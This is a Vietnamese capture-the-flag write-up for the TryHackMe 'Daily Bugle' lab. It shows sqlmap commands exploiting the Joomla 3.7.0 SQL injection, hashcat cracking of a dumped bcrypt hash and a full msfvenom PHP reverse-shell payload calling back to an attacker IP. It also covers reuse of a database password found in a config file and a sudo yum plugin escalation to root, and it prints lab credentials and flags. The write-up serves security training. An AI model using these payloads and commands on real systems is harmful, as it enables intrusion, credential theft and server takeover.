Icon

Daily Bugle

Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.

November 4, 2025 August 5, 2025 Hard
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

$ rustscan -a 10.201.73.74 -- -A

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 60 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbp89KqmXj7Xx84uhisjiT7pGPYepXVTr4MnPu1P4fnlWzevm6BjeQgDBnoRVhddsjHhI1k+xdnahjcv6kykfT3mSeljfy+jRc+2ejMB95oK2AGycavgOfF4FLPYtd5J97WqRmu2ZC2sQUvbGMUsrNaKLAVdWRIqO5OO07WIGtr3c2ZsM417TTcTsSh1Cjhx3F+gbgi0BbBAN3sQqySa91AFruPA+m0R9JnDX5rzXmhWwzAM1Y8R72c4XKXRXdQT9szyyEiEwaXyT0p6XiaaDyxT2WMXTZEBSUKOHUQiUhX7JjBaeVvuX4ITG+W8zpZ6uXUrUySytuzMXlPyfMBy8B
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKb+wNoVp40Na4/Ycep7p++QQiOmDvP550H86ivDdM/7XF9mqOfdhWK0rrvkwq9EDZqibDZr3vL8MtwuMVV5Src=
|   256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4TcvlwCGpiawPyNCkuXTK5CCpat+Bv8LycyNdiTJHX
80/tcp   open  http    syn-ack ttl 60 Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open  mysql   syn-ack ttl 60 MariaDB 10.3.23 or earlier (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15

Chúng ta thấy có ba port đang mở là SSH, HTTPMySQL, đồng thời web server có thể đang chạy Joomla CMS bởi có thư mục /joomla.

SSH 22

image.png

Dịch vụ SSH được bật password authentication, có nghĩa là đăng nhập bằng password là khả thi.

HTTP 80

image.png

Spider-Man chính là người đã cướp ngân hàng!!

Directory Enumeration

Tiếp theo, chúng ta thực hiện directory scan bằng gobuster, đồng thời tìm kiếm cả file phptxt, loại trừ các status code 404403 để tránh nhiễu.

$ gobuster dir -u http://10.201.35.210 -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt -b 404,403

/administrator        (Status: 301) [Size: 243] [--> http://10.201.35.210/administrator/]
/bin                  (Status: 301) [Size: 233] [--> http://10.201.35.210/bin/]
/cache                (Status: 301) [Size: 235] [--> http://10.201.35.210/cache/]
/components           (Status: 301) [Size: 240] [--> http://10.201.35.210/components/]
/configuration.php    (Status: 200) [Size: 0]
/images               (Status: 301) [Size: 236] [--> http://10.201.35.210/images/]
/includes             (Status: 301) [Size: 238] [--> http://10.201.35.210/includes/]
/index.php            (Status: 200) [Size: 9280]
/index.php            (Status: 200) [Size: 9280]
/language             (Status: 301) [Size: 238] [--> http://10.201.35.210/language/]
/layouts              (Status: 301) [Size: 237] [--> http://10.201.35.210/layouts/]
/libraries            (Status: 301) [Size: 239] [--> http://10.201.35.210/libraries/]
/LICENSE.txt          (Status: 200) [Size: 18092]
/media                (Status: 301) [Size: 235] [--> http://10.201.35.210/media/]
/modules              (Status: 301) [Size: 237] [--> http://10.201.35.210/modules/]
/plugins              (Status: 301) [Size: 237] [--> http://10.201.35.210/plugins/]
/README.txt           (Status: 200) [Size: 4494]
/robots.txt           (Status: 200) [Size: 836]
/robots.txt           (Status: 200) [Size: 836]
/templates            (Status: 301) [Size: 239] [--> http://10.201.35.210/templates/]
/tmp                  (Status: 301) [Size: 233] [--> http://10.201.35.210/tmp/]
/web.config.txt       (Status: 200) [Size: 1690]
/robots.txt

image.png

Trong quá trình này, chúng ta phát hiện file robots.txt chứa khá nhiều directory bị disallow, nhưng hầu hết lại không có gì đặc biệt.

/administrator

image.png

Để tiếp tục, chúng ta tham khảo Pentesting Methodology cho Joomla từ đây:

/README.txt

image.png

Sau khi kiểm tra README.txt, chúng ta xác định Joomla đang chạy phiên bản 3.7.x, nhưng vẫn chưa có số chính xác.

/joomla.xml

image.png

Tại file joomla.xml, chúng ta đã biết chính xác phiên bản là 3.7.0.

MariaDB 3306

$ sudo nmap -p 3306 --script=mysql-enum.nse,mysql-info.nse,mysql-users.nse,mysql-databases.nse,mysql-vuln-cve2012-2122.nse 10.201.31.136

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-enum:
|   Accounts: No valid accounts found
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0

Hiện tại chúng ta chưa tìm thấy thông tin gì hữu ích từ dịch vụ MySQL.

SQL Injection

Tuy nhiên, Joomla phiên bản 3.7.0 tồn tại một lỗ hổng SQL Injection (CVE-2017-8917), điều này được xác nhận qua kết quả tìm kiếm bằng searchsploit.

image.png

image.png

Dump Databases

Chúng ta làm theo hướng dẫn trong exploit, chạy sqlmap để khai thác lỗ hổng. Ở bước này, nên chỉ định rõ DBMS là MySQL, nếu không sqlmap sẽ thử nhiều payload cho các DBMS khác nhau, mất rất nhiều thời gian.

sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --dbms=mysql

image.png

Chúng ta tập trung khai thác vào database joomla.

Dump Database Tables

sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --tables -D joomla -p list[fullordering] --dbms=mysql
Database: joomla
[72 tables]
+----------------------------+
| #__assets                  |
| #__associations            |
| #__banner_clients          |
| #__banner_tracks           |
| #__banners                 |
| #__categories              |
| #__contact_details         |
| #__content_frontpage       |
| #__content_rating          |
| #__content_types           |
| #__content                 |
| #__contentitem_tag_map     |
| #__core_log_searches       |
| #__extensions              |
| #__fields_categories       |
| #__fields_groups           |
| #__fields_values           |
| #__fields                  |
| #__finder_filters          |
| #__finder_links_terms0     |
| #__finder_links_terms1     |
| #__finder_links_terms2     |
| #__finder_links_terms3     |
| #__finder_links_terms4     |
| #__finder_links_terms5     |
| #__finder_links_terms6     |
| #__finder_links_terms7     |
| #__finder_links_terms8     |
| #__finder_links_terms9     |
| #__finder_links_termsa     |
| #__finder_links_termsb     |
| #__finder_links_termsc     |
| #__finder_links_termsd     |
| #__finder_links_termse     |
| #__finder_links_termsf     |
| #__finder_links            |
| #__finder_taxonomy_map     |
| #__finder_taxonomy         |
| #__finder_terms_common     |
| #__finder_terms            |
| #__finder_tokens_aggregate |
| #__finder_tokens           |
| #__finder_types            |
| #__languages               |
| #__menu_types              |
| #__menu                    |
| #__messages_cfg            |
| #__messages                |
| #__modules_menu            |
| #__modules                 |
| #__newsfeeds               |
| #__overrider               |
| #__postinstall_messages    |
| #__redirect_links          |
| #__schemas                 |
| #__session                 |
| #__tags                    |
| #__template_styles         |
| #__ucm_base                |
| #__ucm_content             |
| #__ucm_history             |
| #__update_sites_extensions |
| #__update_sites            |
| #__updates                 |
| #__user_keys               |
| #__user_notes              |
| #__user_profiles           |
| #__user_usergroup_map      |
| #__usergroups              |
| #__users                   |
| #__utf8_conversion         |
| #__viewlevels              |
+----------------------------+

Khi truy cập đến bảng #__users, việc đầu tiên là dump ra danh sách các cột.

Dump Columns

sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent list[fullordering] --dbms=mysql --columns -D joomla -T "#__users"

image.png

Tại đây, ta thấy hai cột usernamepassword có thể đã đủ thông tin, ta không cần dump thêm nữa.

Dump Table Entries

sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent list[fullordering] --dbms=mysql -D joomla -T "#__users" -C "id,username,email,password" --dump
Database: joomla
Table: #__users
[1 entry]
+-----+----------+---------------------+--------------------------------------------------------------+
| id  | username | email               | password                                                     |
+-----+----------+---------------------+--------------------------------------------------------------+
| 811 | jonah    | jonah@tryhackme.com | $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm |
+-----+----------+---------------------+--------------------------------------------------------------+

Kết quả cho thấy chúng ta thu được password hash của user jonah. Bước tiếp theo là xác định loại hashing algorithm.

image.png

Possible algorithms: bcrypt $2*$, Blowfish (Unix), bcrypt(md5($plaintext)), bcrypt(sha256($plaintext))

Thuật toán gần nhất được xác định là bcrypt (dùng trong unix). Với thông tin này, chúng ta sử dụng hashcat để crack hash.

C:\Users\Nguyen Tuong Hung\Desktop\hashcat-7.0.0\hashcat-7.0.0>.\hashcat.exe -m 3200 -a 0 ..\..\hash.txt ..\..\rockyou.txt

image.png

Cuối cùng, chúng ta đã crack thành công password của jonah.

jonah:spiderman123

Control Panel Access as jonah

Chúng ta thành công truy cập vào Joomla Control Panel bằng tài khoản của jonah.

image.png

System Information

Ta thấy được thông tin của hệ thống:

image.png

Remote Code Execution

Chúng ta lại tham khảo trang HackTricks và thấy có cách để đạt được RCE (Remote Code Execution) thông qua control panel.

image.png

image.png

image.png

Đầu tiên, chúng ta tạo một payload bằng msfvenom. Sau đó, ta thay thế một file php có sẵn trong Joomla bằng payload này. Cụ thể, chúng ta ghi đè file: /templates/protostar/index.php.

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.17.21.52 LPORT=4242 -f raw -o rev.php
$ cat rev.php

/*<?php /**/ error_reporting(0); $ip = '10.17.21.52'; $port = 4242; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

image.png

Shell as apache

Khi truy cập vào file đó qua trình duyệt, reverse shell sẽ được kích hoạt.

image.png

Sudo Permissions

bash-4.2$ sudo -l
sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for apache:

Tuy nhiên, chúng ta không biết password của user apache, nên tại thời điểm này chưa thể làm gì thêm.

/etc/passwd

Chúng ta kiểm tra file /etc/passwd để xem còn những user nào khác trong hệ thống

bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin

Ta thấy có một user hợp lệ khác đó là jjameson.

configuration.php

Chúng ta cũng đọc file config trong thư mục /var/www/html vì có khả năng chứa thông tin nhạy cảm.

bash-4.2$ cd /var/www/html
cd /var/www/html
bash-4.2$ ls -la
ls -la
total 64
drwxr-xr-x. 17 apache apache  4096 Dec 14  2019 .
drwxr-xr-x.  4 root   root      33 Dec 14  2019 ..
-rwxr-xr-x.  1 apache apache 18092 Apr 25  2017 LICENSE.txt
-rwxr-xr-x.  1 apache apache  4494 Apr 25  2017 README.txt
drwxr-xr-x. 11 apache apache   159 Apr 25  2017 administrator
drwxr-xr-x.  2 apache apache    44 Apr 25  2017 bin
drwxr-xr-x.  2 apache apache    24 Apr 25  2017 cache
drwxr-xr-x.  2 apache apache   119 Apr 25  2017 cli
drwxr-xr-x. 19 apache apache  4096 Apr 25  2017 components
-rw-r--r--   1 apache apache  1982 Dec 14  2019 configuration.php
-rwxr-xr-x.  1 apache apache  3005 Apr 25  2017 htaccess.txt
drwxr-xr-x.  5 apache apache   164 Dec 15  2019 images
drwxr-xr-x.  2 apache apache    64 Apr 25  2017 includes
-rwxr-xr-x.  1 apache apache  1420 Apr 25  2017 index.php
drwxr-xr-x.  4 apache apache    54 Apr 25  2017 language
drwxr-xr-x.  5 apache apache    70 Apr 25  2017 layouts
drwxr-xr-x. 11 apache apache   255 Apr 25  2017 libraries
drwxr-xr-x. 26 apache apache  4096 Apr 25  2017 media
drwxr-xr-x. 27 apache apache  4096 Apr 25  2017 modules
drwxr-xr-x. 16 apache apache   250 Apr 25  2017 plugins
-rwxr-xr-x.  1 apache apache   836 Apr 25  2017 robots.txt
drwxr-xr-x.  5 apache apache    68 Dec 15  2019 templates
drwxr-xr-x.  2 apache apache    24 Dec 15  2019 tmp
-rwxr-xr-x.  1 apache apache  1690 Apr 25  2017 web.config.txt
bash-4.2$ cat configuration.php
cat configuration.php
<?php
class JConfig {
        public $offline = '0';
        public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
        public $display_offline_message = '1';
        public $offline_image = '';
        public $sitename = 'The Daily Bugle';
        public $editor = 'tinymce';
        public $captcha = '0';
        public $list_limit = '20';
        public $access = '1';
        public $debug = '0';
        public $debug_lang = '0';
        public $dbtype = 'mysqli';
        public $host = 'localhost';
        public $user = 'root';
        public $password = 'nv5uz9r3ZEDzVjNu';
        public $db = 'joomla';
        public $dbprefix = 'fb9j5_';
        public $live_site = '';
        public $secret = 'UAMBRWzHO3oFPmVC';
        public $gzip = '0';
        public $error_reporting = 'default';
        ...

Chúng ta phát hiện được password của database user root. Hay thử đăng nhập xem có thông tin gì hữu ích trong database không.

bash-4.2$ mysql -u root -p
mysql -u root -p
Enter password: nv5uz9r3ZEDzVjNu

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 35
Server version: 5.5.64-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| mysql              |
| performance_schema |
| test               |
+--------------------+
5 rows in set (0.00 sec)

MariaDB [(none)]> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> show tables;
show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
24 rows in set (0.00 sec)

MariaDB [mysql]> select * from user;

image.png

MariaDB [mysql]> use test;
use test;
Database changed
MariaDB [test]> show tables;
show tables;
Empty set (0.00 sec)

Chúng ta không tìm thấy gì thực sự giá trị trong database.

Shell as jjameson

Nhiều người lười thay đổi password và hay dùng cùng một password cho nhiều dịch vụ khác nhau. Do đó, chúng ta thử lại password này ở các nơi khác trong hệ thống. Cuối cùng, chúng ta phát hiện user jjameson dùng cùng password với MySQL root user.

bash-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu

[jjameson@dailybugle html]$ id
id
uid=1000(jjameson) gid=1000(jjameson) groups=1000(jjameson)

user.txt

[jjameson@dailybugle home]$ cd ~
cd ~
[jjameson@dailybugle ~]$ ls -la
ls -la
total 16
drwx------. 2 jjameson jjameson  99 Dec 15  2019 .
drwxr-xr-x. 3 root     root      22 Dec 14  2019 ..
lrwxrwxrwx  1 jjameson jjameson   9 Dec 14  2019 .bash_history -> /dev/null
-rw-r--r--. 1 jjameson jjameson  18 Aug  8  2019 .bash_logout
-rw-r--r--. 1 jjameson jjameson 193 Aug  8  2019 .bash_profile
-rw-r--r--. 1 jjameson jjameson 231 Aug  8  2019 .bashrc
-rw-rw-r--  1 jjameson jjameson  33 Dec 15  2019 user.txt
[jjameson@dailybugle ~]$ cat user.txt
cat user.txt
27a260fe3cba712cfdedb1c86d80442e

Sudo Permissions

[jjameson@dailybugle ~]$ sudo -l
sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum

Khi kiểm tra quyền của jjameson, chúng ta thấy anh ta có thể chạy binary yum với quyền của bất kỳ user nào mà không cần password. Đây là cơ hội để leo quyền, vì chúng ta có thể lạm dụng yum để chiếm quyền root theo hướng dẫn công khai.

Shell as root

[jjameson@dailybugle tmp]$ TF=$(mktemp -d)
TF=$(mktemp -d)
[jjameson@dailybugle tmp]$ cat >$TF/x<<EOF
cat >$TF/x<<EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
[jjameson@dailybugle tmp]$ cat >$TF/y.conf<<EOF
cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[jjameson@dailybugle tmp]$ cat >$TF/y.py<<EOF
cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
>   os.execl('/bin/sh','/bin/sh')
> EOF
[jjameson@dailybugle tmp]$ sudo yum -c $TF/x --enableplugin=y
sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root)

root.txt

sh-4.2# cd /root
cd /root
sh-4.2# ls -la
ls -la
total 28
dr-xr-x---.  3 root root  163 Dec 15  2019 .
dr-xr-xr-x. 17 root root  244 Dec 14  2019 ..
lrwxrwxrwx   1 root root    9 Dec 14  2019 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 Dec 28  2013 .bash_logout
-rw-r--r--.  1 root root  176 Dec 28  2013 .bash_profile
-rw-r--r--.  1 root root  176 Dec 28  2013 .bashrc
-rw-r--r--.  1 root root  100 Dec 28  2013 .cshrc
drwxr-----.  3 root root   19 Dec 14  2019 .pki
-rw-r--r--.  1 root root  129 Dec 28  2013 .tcshrc
-rw-------.  1 root root 1484 Dec 14  2019 anaconda-ks.cfg
-rw-r--r--   1 root root   33 Dec 15  2019 root.txt
sh-4.2# cat root.txt
cat root.txt
eec3d53292b1821868266858d7fa6f79